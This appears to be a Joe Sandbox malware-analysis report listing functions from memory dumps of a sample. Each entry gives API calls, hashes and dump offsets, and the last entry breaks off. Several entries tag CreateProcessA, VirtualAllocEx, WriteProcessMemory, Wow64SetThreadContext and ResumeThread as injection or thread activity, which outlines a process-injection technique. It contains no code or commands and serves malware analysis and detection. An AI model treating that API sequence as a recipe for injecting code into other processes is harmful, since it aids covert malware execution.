Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d0b852d8a04a3bc9c57234969c038733cb20207b68ba8575d8029ee3f128396
Instruction ID: 3b4c9c0bf12ce4ad5771f88cce5c88a503e53b1965ae16e7fef156889cb8e319
Opcode Fuzzy Hash: 0d0b852d8a04a3bc9c57234969c038733cb20207b68ba8575d8029ee3f128396
Instruction Fuzzy Hash: 37412671E042198FEB44DF96C8446EEBBB6FF8A300F14C06AD409BB259DB715949CFA4

Function 0288D211 Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0288D296
GetCurrentThread.KERNEL32 ref: 0288D2D3
GetCurrentProcess.KERNEL32 ref: 0288D310
GetCurrentThreadId.KERNEL32 ref: 0288D369

Memory Dump Source

Source File: 00000000.00000002.44306163289.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2880000_5CTbduoXq4.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: aa9e8dd28758f946188cd4a8c2cbff9605413ec6e35ca26031b1287e00116594
Instruction ID: 0bc3311a5772656c3c4c5fcd3a5bea47cb4aa5620d6f4610775ccd09536adaf0
Opcode Fuzzy Hash: aa9e8dd28758f946188cd4a8c2cbff9605413ec6e35ca26031b1287e00116594
Instruction Fuzzy Hash: 755166B49003098FEB14EFAAD588BDEBBF1FB88314F248459D009A7391D774A844CF66

Function 0288D218 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0288D296
GetCurrentThread.KERNEL32 ref: 0288D2D3
GetCurrentProcess.KERNEL32 ref: 0288D310
GetCurrentThreadId.KERNEL32 ref: 0288D369

Memory Dump Source

Source File: 00000000.00000002.44306163289.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2880000_5CTbduoXq4.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 84eb1ba1cb56244485e0271a909340695b6f124fa870b0ca871f307c97719cc5
Instruction ID: ecdbcd33e8ed7908af5e23f0893ef9912a211dc18b47d427a6e8449a2cfa829b
Opcode Fuzzy Hash: 84eb1ba1cb56244485e0271a909340695b6f124fa870b0ca871f307c97719cc5
Instruction Fuzzy Hash: A05157B49003098FEB14EFAAD588BDEBBF5FB48314F248459D409A7391D774A844CF66

Function 028883FF Relevance: 1.8, APIs: 1, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindWindowW.USER32(00000000,00000000), ref: 02889B7E

Memory Dump Source

Source File: 00000000.00000002.44306163289.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2880000_5CTbduoXq4.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 254aacaa836129bae6f08dd250a7fc4028d012a6497be8cbda129da73b4e831d
Instruction ID: 23322fd61d09dcdd15ef401b6945ac979efde04172b2958a48e95d1a8d942480
Opcode Fuzzy Hash: 254aacaa836129bae6f08dd250a7fc4028d012a6497be8cbda129da73b4e831d
Instruction Fuzzy Hash: 70C1827590060ACFCB04EF69C88499DFBB1FF89314F5586A9D409AB326EB70E945CF90

Function 06C4CD98 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06C4CFCE

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 89aab0c72737796cb5863c44aae5b2d527354fcbe75a8c9e0949a32358dfdf8f
Instruction ID: 640ae45fee75139a9fed1688d2e46afe1270f731d571a8eb7df3a0d9980b97fc
Opcode Fuzzy Hash: 89aab0c72737796cb5863c44aae5b2d527354fcbe75a8c9e0949a32358dfdf8f
Instruction Fuzzy Hash: 0D916E71D01259CFEF50EFA9C881BDDBBB2BF44310F0485A9D809A7290DB759A85CF91

Function 0288449C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 028859A9

Memory Dump Source

Source File: 00000000.00000002.44306163289.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2880000_5CTbduoXq4.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 79f13ed94a465b00a8d82099944c8d7bed9abac6b183bd1b181808864b869fb8
Instruction ID: bea1a1f3d33ea147abfe503d0f8a3c5ecd97b67eee154634c15b9a0e117d597f
Opcode Fuzzy Hash: 79f13ed94a465b00a8d82099944c8d7bed9abac6b183bd1b181808864b869fb8
Instruction Fuzzy Hash: D841D2B4D0071DCBEB24DFAAC884BDEBBB5BF88304F608069D409AB251DB756945CF91

Function 028858F5 Relevance: 1.6, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 028859A9

Memory Dump Source

Source File: 00000000.00000002.44306163289.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2880000_5CTbduoXq4.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a2b5d08a0ff93546fab2424850c16e6103d709abd75acbff4b38b0bc2f3f65d9
Instruction ID: fc42041bf031d560f6d2fb38ca6f942fec1fe1fed3a402e67dfc85363c234711
Opcode Fuzzy Hash: a2b5d08a0ff93546fab2424850c16e6103d709abd75acbff4b38b0bc2f3f65d9
Instruction Fuzzy Hash: 8F41C0B4D00719CFEB24DFAAC8847DEBBB5BF88304F60805AD409AB251DB756949CF91

Function 076C3100 Relevance: 1.6, APIs: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.44312081847.00000000076C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76c0000_5CTbduoXq4.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 6f3a58c71ddb062177917e192852048507d76b2ca04e7bce28f338894542820c
Instruction ID: 846d917fe2da9ff987bb72f4bcc6127256c6cced7dc3b57b10869201f8fa631b
Opcode Fuzzy Hash: 6f3a58c71ddb062177917e192852048507d76b2ca04e7bce28f338894542820c
Instruction Fuzzy Hash: 33319C719043899FCB02DFAAC844AEEBFF4EF49210F14845AE515A7611C3359850CFA1

Function 06C4C709 Relevance: 1.6, APIs: 1, Instructions: 74
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06C4C7A0

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 364221521c248d159b93bd214036d015524fc6fdb351156bae906f881013b135
Instruction ID: 0029713af06cb57ff15d792f486cfdf2a57e3872076d3d601d3711c841243fd0
Opcode Fuzzy Hash: 364221521c248d159b93bd214036d015524fc6fdb351156bae906f881013b135
Instruction Fuzzy Hash: 98214875D003499FDB10DFAAC8807DEBBF5FF48324F10842AE918A7240C7789940CBA4

Function 076C7A24 Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,076C8E35,?,?), ref: 076C8EE7

Memory Dump Source

Source File: 00000000.00000002.44312081847.00000000076C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76c0000_5CTbduoXq4.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: a430d767637ea75175ff610af5db7be10089af5a3d59d74c10f5cad68af6a92b
Instruction ID: 90c5fd211d79af4658face3069130187cdf95884ebf1d23cafb4bec17e836a7f
Opcode Fuzzy Hash: a430d767637ea75175ff610af5db7be10089af5a3d59d74c10f5cad68af6a92b
Instruction Fuzzy Hash: 2D31E4B590034A9FDB10CF9AD880AEEBBF5EF48310F14842EE415A7700D374A944CFA4

Function 076C8E48 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,076C8E35,?,?), ref: 076C8EE7

Memory Dump Source

Source File: 00000000.00000002.44312081847.00000000076C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76c0000_5CTbduoXq4.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: f8d28649f23d1bb5ef441ef7d7a6dddfae26680d38a68bafee8375d214ed6196
Instruction ID: ed1290961e19c71064e2c50daa41a33bb3696a6c94fb8164f4835679d8fe008a
Opcode Fuzzy Hash: f8d28649f23d1bb5ef441ef7d7a6dddfae26680d38a68bafee8375d214ed6196
Instruction Fuzzy Hash: 2431C2B5D0024A9FDB11CF9AD880AEEBBF5EF58220F14842AE419A7710D374A544CFA5

Function 06C4C710 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06C4C7A0

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: ae54cabbb22054fc280bacab6b398ff7d8d241a71875a7ad1febc6b86d4f10a6
Instruction ID: 27e5153f016c9c5057e1d1c893c861421b619d7cf4235bf1dc01044427a82527
Opcode Fuzzy Hash: ae54cabbb22054fc280bacab6b398ff7d8d241a71875a7ad1febc6b86d4f10a6
Instruction Fuzzy Hash: D32127B5D003499FDB10DFAAC8847DEBBF5FF48324F10842AE918A7240D7789944CBA4

Function 06C4C573 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06C4C5F6

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 0d9797cc1b6c020510255ee84d28025f6e5c6e5e5a22a9e742ca7a6b7fabec2e
Instruction ID: f4c55366bfd50ce3a77abf456b479541e968de885f9c652b208e91c9e534fbcb
Opcode Fuzzy Hash: 0d9797cc1b6c020510255ee84d28025f6e5c6e5e5a22a9e742ca7a6b7fabec2e
Instruction Fuzzy Hash: F32179B1D003089FDB10DFAAC8857EFBBF4EF48224F50842AD418A7240C7789944CFA5

Function 0288D458 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0288D4E7

Memory Dump Source

Source File: 00000000.00000002.44306163289.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2880000_5CTbduoXq4.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a7ec0ddc0fd67d3636e9bf141c984ab686f8a21406f52f11d23ef738ddfd8ee4
Instruction ID: 6b80aa80e41b9c79fbfec34a8ed8956ab2468dc8da96b99cd71d5f459a8b64f7
Opcode Fuzzy Hash: a7ec0ddc0fd67d3636e9bf141c984ab686f8a21406f52f11d23ef738ddfd8ee4
Instruction Fuzzy Hash: 1E2107B99002489FDB10CFAAD484ADEBBF4EB48314F14841AE914A3250C374A944CF60

Function 06C4C7F8 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06C4C880

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: af6ede1100d740110a33a3c27e040f1a74f81e5b2b39a8041c93ed8779a75ce9
Instruction ID: 65d16a3cae588ccc7fbaf7c2edba693be29e013ad7eaf9e8643d1044a357ab9a
Opcode Fuzzy Hash: af6ede1100d740110a33a3c27e040f1a74f81e5b2b39a8041c93ed8779a75ce9
Instruction Fuzzy Hash: 192136B1C003499FDB10DFAAC8847EEBBB1FF48320F50882AE558A7640C7789940CBA0

Function 06C4C578 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06C4C5F6

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 79cfd85f36bbd267933b2878af66377859bab74b9a0e9fcae48837e0d7a11e26
Instruction ID: 9ec797c4738c10816c24981b5b1310c064fb5e3e448cd92a746a94741a7e6f3f
Opcode Fuzzy Hash: 79cfd85f36bbd267933b2878af66377859bab74b9a0e9fcae48837e0d7a11e26
Instruction Fuzzy Hash: F32147B1D003498FDB10DFAAC8847EEBBF4EF88224F54842AD419A7240C7789944CFA5

Function 06C4C800 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06C4C880

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 4f71e9b5a2b9a989cfa90f1c3111ac390587aa6a379062380a69f847c4bdfc0b
Instruction ID: 54441b5497e2d03be2144b95ed7517e68203210aee872db99189b84a7ad2065c
Opcode Fuzzy Hash: 4f71e9b5a2b9a989cfa90f1c3111ac390587aa6a379062380a69f847c4bdfc0b
Instruction Fuzzy Hash: 022128B1C003499FDB10DFAAC8807EEBBF5FF48320F50842AD518A7240C7789540CBA5

Function 0288D460 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0288D4E7

Memory Dump Source

Source File: 00000000.00000002.44306163289.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2880000_5CTbduoXq4.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5313eafeab5df36d1f12c78a960d8b3234c1563a3c9140fa109243a4ffc19e3e
Instruction ID: fd649d932b9ee67b0b2f57cee2a6af0ce05db0eb10e5e86e18b50f2c15715485
Opcode Fuzzy Hash: 5313eafeab5df36d1f12c78a960d8b3234c1563a3c9140fa109243a4ffc19e3e
Instruction Fuzzy Hash: E821C6B59002499FDB10CFAAD484ADEBBF5EB48324F14841AE914A3350D374A954CF65

Function 06C4C649 Relevance: 1.6, APIs: 1, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06C4C6BE

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0c3a640b937f915af9191a35f72fef793d30a3c92c9cb214c19b9f8f04c0e6bd
Instruction ID: 7faae3490ed91cdfb5704896ddf8698c3d5c216a2e1e483811a26cb35f6bd5f9
Opcode Fuzzy Hash: 0c3a640b937f915af9191a35f72fef793d30a3c92c9cb214c19b9f8f04c0e6bd
Instruction Fuzzy Hash: 5E1159768003489FDB10DFAAD845BEFBBF5EF48324F10881AE419A7650C7759941CFA1

Function 028883C4 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

FindWindowW.USER32(00000000,00000000), ref: 02889B7E

Memory Dump Source

Source File: 00000000.00000002.44306163289.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2880000_5CTbduoXq4.jbxd

Similarity

API ID: FindWindow
String ID:
API String ID: 134000473-0
Opcode ID: 0a31baab54b0a6ce49202c3be1b17040337c1bfb61a994f0541526c361eb038a
Instruction ID: 83dbfdd1a21bb54e38be55cc2099df6680484c954e9fddb3a389270fe0a270b8
Opcode Fuzzy Hash: 0a31baab54b0a6ce49202c3be1b17040337c1bfb61a994f0541526c361eb038a
Instruction Fuzzy Hash: 63210DB98003198BDB10DF9AD884BEEFBF5FB48224F14852ED419B7300C3B4A944CBA0

Function 076C03E4 Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,076C311A,?,?,?,?,?), ref: 076C31BF

Memory Dump Source

Source File: 00000000.00000002.44312081847.00000000076C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76c0000_5CTbduoXq4.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 4b2a9856a548c79b4b7ca4d9b083dc5b1955f6bb9012394f97db4e7db3e0136d
Instruction ID: a8e9c05497eacc13cfaa53dcce94ddd604a9162ad5ba6252f14db27a72e37524
Opcode Fuzzy Hash: 4b2a9856a548c79b4b7ca4d9b083dc5b1955f6bb9012394f97db4e7db3e0136d
Instruction Fuzzy Hash: 0B1159B58002499FDB11CF9AC884BEEBFF8EF48320F14841AE915A3650C378A950CFA5

Function 06C4C650 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06C4C6BE

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5935cc1d10ab68e091f290973521c9b47569adc69ccea2c415bbefc4da28763a
Instruction ID: 387b7b72550230b820a898ca0403d83121333fed27147960b827a8a9b161556e
Opcode Fuzzy Hash: 5935cc1d10ab68e091f290973521c9b47569adc69ccea2c415bbefc4da28763a
Instruction Fuzzy Hash: 0B1167768003489FDB10DFAAC8447EFBBF5EF88320F10881AD419A7250C7799940CFA0

Function 06C4C4C3 Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06C4C52A

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5837bf852bce4310f46e791f756e52bf1ab0f479bb7c8b685defd4bac2271dd2
Instruction ID: c836a43d7ab562b138028b26bf87eeece2976bef873a3ed57ec3d75b1d00a547
Opcode Fuzzy Hash: 5837bf852bce4310f46e791f756e52bf1ab0f479bb7c8b685defd4bac2271dd2
Instruction Fuzzy Hash: 26116AB5C003488FDB10DFAAD8857DFFBF5AF88224F24881AD419A7640C778A940CFA5

Function 06C4C4C8 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 06C4C52A

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 523e3d5fa44e524424a640ad1a7f904550f0d1171e007b4943ae5b9bf49cfd5c
Instruction ID: 7a151af1e2cc5fc0dc075a6ec47e5aa41555dc952569432ad402912c0463b2f0
Opcode Fuzzy Hash: 523e3d5fa44e524424a640ad1a7f904550f0d1171e007b4943ae5b9bf49cfd5c
Instruction Fuzzy Hash: 67113AB5D003488BDB10DFAAD8847DFFBF5AF88224F24881AC419A7640C779A544CFA5

Function 0288B180 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0288B1E6

Memory Dump Source

Source File: 00000000.00000002.44306163289.0000000002880000.00000040.00000800.00020000.00000000.sdmp, Offset: 02880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2880000_5CTbduoXq4.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: b063ab5f37b197c4d5eea033047cf9d03c0320085dab27fd3f8b73530fa1fed4
Instruction ID: 190d36e0025883d14eae6657d3ecb741258a8d64400074f39e0b2656db67f6ed
Opcode Fuzzy Hash: b063ab5f37b197c4d5eea033047cf9d03c0320085dab27fd3f8b73530fa1fed4
Instruction Fuzzy Hash: E911E0B9C006498FDB10DF9AD884BDEFBF4AF89228F14841AD419B7601C379A545CFA5

Function 06C4F128 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 06C4F185

Memory Dump Source

Source File: 00000000.00000002.44311083373.0000000006C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c40000_5CTbduoXq4.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 6cfa29cda41428e00e6cde1bffd837d307a6ad860e912ba165bc12c3afef7e24
Instruction ID: 447047b1f0326fea056a2900f3ca9dce9d5573af0ab7fa9bd33e428a2dcad379
Opcode Fuzzy Hash: 6cfa29cda41428e00e6cde1bffd837d307a6ad860e912ba165bc12c3afef7e24
Instruction Fuzzy Hash: E711E5B58003499FDB10DF9AD884BDEFBF8EB48324F20841AD518A7640C375A544CFA5

Function 076C4987 Relevance: 1.3, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,076C55C9,?,?), ref: 076C5770

Memory Dump Source

Source File: 00000000.00000002.44312081847.00000000076C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76c0000_5CTbduoXq4.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 2177e676d3ee2661fe6eaad213bc050ad255427bd164483cc13f7938282c5176
Instruction ID: ab5df7004c8b3d1e98f63ab49558ce5f63ab5ac36bd1ecc2ca87080ac344cc8a
Opcode Fuzzy Hash: 2177e676d3ee2661fe6eaad213bc050ad255427bd164483cc13f7938282c5176
Instruction Fuzzy Hash: 2021ACB68047499FCB10DF9AD8857EEBBF0EF58320F24841AC459A7741C378A585CFA6

Function 076C49BC Relevance: 1.3, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,076C55C9,?,?), ref: 076C5770

Memory Dump Source

Source File: 00000000.00000002.44312081847.00000000076C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76c0000_5CTbduoXq4.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 1b55ba3395e0d6e87cb4c4eafcb8e92605023ebeeb0f69206b0037c0f8cb1d9c
Instruction ID: 685f0dd034a7a19499413fc2b4a54212cf8d56d6b0afb1f65e8159991371fbbc
Opcode Fuzzy Hash: 1b55ba3395e0d6e87cb4c4eafcb8e92605023ebeeb0f69206b0037c0f8cb1d9c
Instruction Fuzzy Hash: 321155B5800349CFDB10DF9AC485BEEBBF4EB48320F20841AD459A7741C378AA84CFA5

Function 076C5712 Relevance: 1.3, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,076C55C9,?,?), ref: 076C5770

Memory Dump Source

Source File: 00000000.00000002.44312081847.00000000076C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76c0000_5CTbduoXq4.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: fd4a090b4298b6911655ac8618992619e297721c3bed73699105265e744b829a
Instruction ID: 2cbde200b35d67f039ab12dc2443bee10e1215a235c1ec69fb02de17b90886c4
Opcode Fuzzy Hash: fd4a090b4298b6911655ac8618992619e297721c3bed73699105265e744b829a
Instruction Fuzzy Hash: 961125B5800249DFCB10DF9AC485BEEBBF4EB48324F24841AD459A7741D378A684CFA5

Function 0745114B Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

4, xrefs: 074510CC

Memory Dump Source

Source File: 00000000.00000002.44311667639.0000000007450000.00000040.00000800.00020000.00000000.sdmp, Offset: 07450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7450000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 7c95bb197b036baa4bf412551259ebe4d281bc7dc6be786b99b664f79d6f5abb
Instruction ID: ba06ef2933b58b13c20c9f4e4b7f2e003f5b07d99f35408e61f5f3fb9afae728
Opcode Fuzzy Hash: 7c95bb197b036baa4bf412551259ebe4d281bc7dc6be786b99b664f79d6f5abb
Instruction Fuzzy Hash: 70F0A4B500E38CDFC702DF71D4106D9BF75AF56650B2841DBD88A4B963CB329915C752

Function 07451161 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44311667639.0000000007450000.00000040.00000800.00020000.00000000.sdmp, Offset: 07450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7450000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40834ea2e625ab2e2e5e6c0bf27d4b874747fa9ce264065abd6aa61df2c89311
Instruction ID: cd5df5d0e14e79e18a80dc169a3e9bc76d4aa2de2926070170363312dca2a0e2
Opcode Fuzzy Hash: 40834ea2e625ab2e2e5e6c0bf27d4b874747fa9ce264065abd6aa61df2c89311
Instruction Fuzzy Hash: 98319E70A05349CFCB55DFB9C840A9EBBF1BF89200B5484AAD419EB362DB38D901CF51

Function 0274D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.44305409254.000000000274D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0274D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_274d000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c169c00afa77405ba917c2af35c4e2488523746982e8b16c2354edac7ddea448
Instruction ID: 9b843485cc86bbc7e29eb54589b23fe001c1371ba68cf1cf7016ab90f80d0ae0
